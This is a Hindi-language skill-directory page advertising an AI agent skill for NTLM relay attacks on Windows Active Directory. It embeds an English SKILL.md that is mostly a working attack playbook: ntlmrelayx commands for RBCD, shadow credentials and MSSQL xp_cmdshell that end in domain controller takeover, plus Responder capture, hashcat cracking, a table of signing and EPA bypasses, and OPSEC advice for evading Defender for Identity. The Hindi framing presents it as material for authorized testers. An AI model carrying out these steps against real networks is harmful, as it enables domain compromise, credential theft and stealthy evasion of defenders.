ad-ntlm-relay
यह क्या करती है
यह स्किल NTLM रिले पर एक विस्तृत गाइड है, एक Windows लॉगिन कमज़ोरी जिसमें पकड़ा गया लॉगिन किसी दूसरी सर्विस तक भेज दिया जाता है। यह उन परीक्षकों और ऑडिटरों के लिए है जिन्हें डोमेन में इस जोखिम को समझना है।
कब इस्तेमाल करें
- ✓जब कोई सुरक्षा परीक्षक पूछता है कि अधिकृत डोमेन की कौन-सी सर्विस NTLM रिले से प्रभावित हो सकती है।
- ✓जब एजेंट को जाँचना हो कि वर्कस्टेशन पर SMB साइनिंग बंद है या नहीं।
- ✓जब किसी रिपोर्ट को NTLM रिले का जोखिम और उसके सुधार सरल शब्दों में समझाने हों।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप जाँच सकते हैं कि हमारे अधिकृत नेटवर्क की कौन-सी मशीनों पर SMB साइनिंग बंद है, ताकि पता चले कि NTLM रिले कहाँ संभव है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट ऐसी लक्ष्य मशीनों की सूची बनाता है जिन पर SMB साइनिंग बंद है, उन सर्विस की तुलना करता है जो रिले किया गया लॉगिन स्वीकार कर सकती हैं, और परिणाम रिपोर्ट करता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
Relay to MSSQL — pivot via xp_cmdshell
sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver
Multi-relay — fan-out one auth to many targets
# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)
When to crack instead of relay
If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):
# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules
Relay is BETTER when:
- You don't have time to crack (operationally bounded engagement)
- The hash is from a service account / computer account (uncrackable)
- The target requires the actual session (e.g., LDAPS, signed SMB)
Crack is BETTER when:
- You want offline persistence (don't need to be on the wire)
- The credentials are reusable across services
- Auth was from a normal user with a weak password
Signing-required mitigations and bypasses
| Defense | Bypass |
|---|---|
| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |
| LDAP channel binding | Relay to LDAPS instead (different binding rules) |
| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |
| MS16-075 ("hot potato" SMB→SMB block) | Cross-protocol relay works around it |
OPSEC
- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.
References
- impacket ntlmrelayx — github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
- dirk
अक्सर पूछे जाने वाले सवाल
SMB साइनिंग क्या है?
यह एक सेटिंग है जो फ़ाइल-शेयरिंग ट्रैफ़िक की अखंडता जाँचती है। बंद होने पर कुछ रिले किए गए लॉगिन स्वीकार हो सकते हैं।
डोमेन कंट्रोलर पर SMB से रिले क्यों नहीं हो सकता?
स्किल कहती है कि डोमेन कंट्रोलर आम तौर पर SMB साइनिंग माँगते हैं, जो उस रास्ते को रोकती है।
क्या स्किल सुधार बताती है?
यह साइनिंग चालू करने और रिले लक्ष्यों को सीमित करने का ज़िक्र करती है, और कौन-सा सुधार लेना है, यह सिस्टम के मालिक तय करते हैं।
जानकारी
लेखक का मूल विवरण
NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13945
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।